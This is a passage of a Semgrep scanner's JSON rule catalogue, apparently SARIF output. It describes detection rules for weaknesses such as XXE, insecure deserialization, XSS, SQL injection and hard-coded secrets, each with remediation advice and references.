and how to mitigate them. Alternatively, we recommend to use PKCS#1 OAEP instead for a secure by default implementation."},"help":{"markdown":"PKCS#1 v1.5 decryption is intrinsically vulnerable to timing attacks. The `pycryptodome` implementation attempts to mitigate the risk with some constant-time constructs, however these are not sufficient by themselves and your use of the library may still be vulnerable. Consult the documentation for the library to understand the risks and how to mitigate them. Alternatively, we recommend to use PKCS#1 OAEP instead for a secure by default implementation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.pycryptodome-rsa-pkcs1.pycryptodome-rsa-pkcs1)\n - [https://link.springer.com/chapter/10.1007/BFb0055716](https://link.springer.com/chapter/10.1007/BFb0055716)\n - [https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.186-5.pdf](https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.186-5.pdf)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption)\n - [https://www.pycryptodome.org/src/cipher/pkcs1_v1_5](https://www.pycryptodome.org/src/cipher/pkcs1_v1_5)\n","text":"PKCS#1 v1.5 decryption is intrinsically vulnerable to timing attacks. The `pycryptodome` implementation attempts to mitigate the risk with some constant-time constructs, however these are not sufficient by themselves and your use of the library may still be vulnerable. Consult the documentation for the library to understand the risks and how to mitigate them. Alternatively, we recommend to use PKCS#1 OAEP instead for a secure by default implementation."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.pycryptodome-rsa-pkcs1.pycryptodome-rsa-pkcs1","id":"python.pycryptodome.pycryptodome-rsa-pkcs1.pycryptodome-rsa-pkcs1","name":"python.pycryptodome.pycryptodome-rsa-pkcs1.pycryptodome-rsa-pkcs1","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.pycryptodome-rsa-pkcs1.pycryptodome-rsa-pkcs1"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the SAXBuilder parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`, enabling both of `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`, and enabling both of `parser.setExpandEntities(false)` and parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` It is also possible to use one of the constructor parameters that will result in a more secure parser by default: `new SAXBuilder(XMLReaders.DTDVALIDATING)` or `new SAXBuilder(XMLReaders.XSDVALIDATING)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the SAXBuilder parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`, enabling both of `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`, and enabling both of `parser.setExpandEntities(false)` and parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` It is also possible to use one of the constructor parameters that will result in a more secure parser by default: `new SAXBuilder(XMLReaders.DTDVALIDATING)` or `new SAXBuilder(XMLReaders.XSDVALIDATING)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.xxe.tainted-saxbuilder-xxe-servlet.tainted-saxbuilder-xxe-servlet)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/827.html](https://cwe.mitre.org/data/definitions/827.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the SAXBuilder parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`, enabling both of `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`, and enabling both of `parser.setExpandEntities(false)` and parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` It is also possible to use one of the constructor parameters that will result in a more secure parser by default: `new SAXBuilder(XMLReaders.DTDVALIDATING)` or `new SAXBuilder(XMLReaders.XSDVALIDATING)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.xxe.tainted-saxbuilder-xxe-servlet.tainted-saxbuilder-xxe-servlet","id":"java.servlets.security.xxe.tainted-saxbuilder-xxe-servlet.tainted-saxbuilder-xxe-servlet","name":"java.servlets.security.xxe.tainted-saxbuilder-xxe-servlet.tainted-saxbuilder-xxe-servlet","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.xxe.tainted-saxbuilder-xxe-servlet.tainted-saxbuilder-xxe-servlet"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.webrepl.python-webrepl-hardcoded-secret.python-webrepl-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.webrepl.python-webrepl-hardcoded-secret.python-webrepl-hardcoded-secret","id":"python.webrepl.python-webrepl-hardcoded-secret.python-webrepl-hardcoded-secret","name":"python.webrepl.python-webrepl-hardcoded-secret.python-webrepl-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.webrepl.python-webrepl-hardcoded-secret.python-webrepl-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Basic authentication is considered weak and should be avoided.  Use a different authentication scheme, such of OAuth2, OpenID Connect, or mTLS."},"help":{"markdown":"Basic authentication is considered weak and should be avoided.  Use a different authentication scheme, such of OAuth2, OpenID Connect, or mTLS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.openapi.security.use-of-basic-authentication.use-of-basic-authentication)\n - [https://cwe.mitre.org/data/definitions/287.html](https://cwe.mitre.org/data/definitions/287.html)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design/](https://owasp.org/Top10/A04_2021-Insecure_Design/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/)\n","text":"Basic authentication is considered weak and should be avoided.  Use a different authentication scheme, such of OAuth2, OpenID Connect, or mTLS."},"helpUri":"https://semgrep.dev/r/yaml.openapi.security.use-of-basic-authentication.use-of-basic-authentication","id":"yaml.openapi.security.use-of-basic-authentication.use-of-basic-authentication","name":"yaml.openapi.security.use-of-basic-authentication.use-of-basic-authentication","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A04:2021 Insecure Design","OWASP-A07:2021 Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.openapi.security.use-of-basic-authentication.use-of-basic-authentication"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `ruamel.yaml` library is a YAML parser that is as powerful as `pickle`, using it to parse untrusted data can lead to object deserialization vulnerabilities. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader and so this parser is secure by default. If the usage of an unsafe loader is intentional, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly specify `typ='unsafe'`, to use a safe loader. Before version 0.15.0, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `ruamel.yaml` library is a YAML parser that is as powerful as `pickle`, using it to parse untrusted data can lead to object deserialization vulnerabilities. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader and so this parser is secure by default. If the usage of an unsafe loader is intentional, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly specify `typ='unsafe'`, to use a safe loader. Before version 0.15.0, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-ruamel-flask.tainted-ruamel-flask)\n - [https://cwe.mitre.org/data/definitions/502.html](https://cwe.mitre.org/data/definitions/502.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://yaml.readthedocs.io/en/latest/api/](https://yaml.readthedocs.io/en/latest/api/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `ruamel.yaml` library is a YAML parser that is as powerful as `pickle`, using it to parse untrusted data can lead to object deserialization vulnerabilities. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader and so this parser is secure by default. If the usage of an unsafe loader is intentional, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly specify `typ='unsafe'`, to use a safe loader. Before version 0.15.0, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-ruamel-flask.tainted-ruamel-flask","id":"python.flask.deserialization.tainted-ruamel-flask.tainted-ruamel-flask","name":"python.flask.deserialization.tainted-ruamel-flask.tainted-ruamel-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-ruamel-flask.tainted-ruamel-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.deserialization.tainted-pickle-fastapi.tainted-pickle-fastapi)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure."},"helpUri":"https://semgrep.dev/r/python.fastapi.deserialization.tainted-pickle-fastapi.tainted-pickle-fastapi","id":"python.fastapi.deserialization.tainted-pickle-fastapi.tainted-pickle-fastapi","name":"python.fastapi.deserialization.tainted-pickle-fastapi.tainted-pickle-fastapi","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.deserialization.tainted-pickle-fastapi.tainted-pickle-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the Castor XML Framework unless you explicitly define permissions for types that are allowed to be deserialized by `Castor`."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the Castor XML Framework unless you explicitly define permissions for types that are allowed to be deserialized by `Castor`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.castor-deserialization-deepsemgrep.castor-deserialization-deepsemgrep)\n - [https://castor-data-binding.github.io/castor/reference-guide/reference/xml/xml-framework.html](https://castor-data-binding.github.io/castor/reference-guide/reference/xml/xml-framework.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the Castor XML Framework unless you explicitly define permissions for types that are allowed to be deserialized by `Castor`."},"helpUri":"https://semgrep.dev/r/java.servlets.security.castor-deserialization-deepsemgrep.castor-deserialization-deepsemgrep","id":"java.servlets.security.castor-deserialization-deepsemgrep.castor-deserialization-deepsemgrep","name":"java.servlets.security.castor-deserialization-deepsemgrep.castor-deserialization-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.castor-deserialization-deepsemgrep.castor-deserialization-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/)."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gin.xss.gin-formatted-template-string-taint.formatted-template-string-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/)."},"helpUri":"https://semgrep.dev/r/go.gin.xss.gin-formatted-template-string-taint.formatted-template-string-taint","id":"go.gin.xss.gin-formatted-template-string-taint.formatted-template-string-taint","name":"go.gin.xss.gin-formatted-template-string-taint.formatted-template-string-taint","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.gin.xss.gin-formatted-template-string-taint.formatted-template-string-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.code.puppeteer-express.puppeteer-express)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/javascript.express.code.puppeteer-express.puppeteer-express","id":"javascript.express.code.puppeteer-express.puppeteer-express","name":"javascript.express.code.puppeteer-express.puppeteer-express","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.code.puppeteer-express.puppeteer-express"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected 'io.WriteString()' writing directly to 'http.ResponseWriter'. This bypasses HTML escaping that prevents cross-site scripting vulnerabilities. Instead, use the 'html/template' package to render data to users."},"help":{"markdown":"Detected 'io.WriteString()' writing directly to 'http.ResponseWriter'. This bypasses HTML escaping that prevents cross-site scripting vulnerabilities. Instead, use the 'html/template' package to render data to users.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.xss.no-io-writestring-to-responsewriter.no-io-writestring-to-responsewriter)\n - [https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/](https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/)\n - [https://golang.org/pkg/io/#WriteString](https://golang.org/pkg/io/#WriteString)\n","text":"Detected 'io.WriteString()' writing directly to 'http.ResponseWriter'. This bypasses HTML escaping that prevents cross-site scripting vulnerabilities. Instead, use the 'html/template' package to render data to users."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.xss.no-io-writestring-to-responsewriter.no-io-writestring-to-responsewriter","id":"go.lang.security.audit.xss.no-io-writestring-to-responsewriter.no-io-writestring-to-responsewriter","name":"go.lang.security.audit.xss.no-io-writestring-to-responsewriter.no-io-writestring-to-responsewriter","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.xss.no-io-writestring-to-responsewriter.no-io-writestring-to-responsewriter"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in a asyncpg Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can create parameterized queries like so: 'conn.fetch(\"SELECT $1 FROM table\", value)'. You can also create prepared statements with 'Connection.prepare': 'stmt = conn.prepare(\"SELECT $1 FROM table\"); await stmt.fetch(user_value)'"},"help":{"markdown":"Detected string concatenation with a non-literal variable in a asyncpg Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can create parameterized queries like so: 'conn.fetch(\"SELECT $1 FROM table\", value)'. You can also create prepared statements with 'Connection.prepare': 'stmt = conn.prepare(\"SELECT $1 FROM table\"); await stmt.fetch(user_value)'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.sqli.asyncpg-sqli.asyncpg-sqli)\n - [https://github.com/MagicStack/asyncpg](https://github.com/MagicStack/asyncpg)\n - [https://magicstack.github.io/asyncpg/current/](https://magicstack.github.io/asyncpg/current/)\n","text":"Detected string concatenation with a non-literal variable in a asyncpg Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can create parameterized queries like so: 'conn.fetch(\"SELECT $1 FROM table\", value)'. You can also create prepared statements with 'Connection.prepare': 'stmt = conn.prepare(\"SELECT $1 FROM table\"); await stmt.fetch(user_value)'"},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.sqli.asyncpg-sqli.asyncpg-sqli","id":"python.lang.security.audit.sqli.asyncpg-sqli.asyncpg-sqli","name":"python.lang.security.audit.sqli.asyncpg-sqli.asyncpg-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.sqli.asyncpg-sqli.asyncpg-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found usage of 'importlib.abc.ResourceReader'. This module is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use another loader."},"help":{"markdown":"Found usage of 'importlib.abc.ResourceReader'. This module is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use another loader.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-textiowrapper)\n","text":"Found usage of 'importlib.abc.ResourceReader'. This module is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use another loader."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-textiowrapper","id":"python.lang.compatibility.python37.python37-compatibility-textiowrapper","name":"python.lang.compatibility.python37.python37-compatibility-textiowrapper","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-textiowrapper"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Hardcoded variable `DEBUG` detected. Set this by using FLASK_DEBUG environment variable"},"help":{"markdown":"Hardcoded variable `DEBUG` detected. Set this by using FLASK_DEBUG environment variable\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_DEBUG)\n - [https://bento.dev/checks/flask/avoid-hardcoded-config/](https://bento.dev/checks/flask/avoid-hardcoded-config/)\n - [https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#builtin-configuration-values](https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#builtin-configuration-values)\n - [https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#environment-and-debug-features](https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#environment-and-debug-features)\n","text":"Hardcoded variable `DEBUG` detected. Set this by using FLASK_DEBUG environment variable"},"helpUri":"https://semgrep.dev/r/python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_DEBUG","id":"python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_DEBUG","name":"python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_DEBUG","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_DEBUG"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected public S3 bucket. This policy allows anyone to have some kind of access to the bucket. The exact level of access and types of actions allowed will depend on the configuration of bucket policy and ACLs. Please review the bucket configuration to make sure they are set with intended 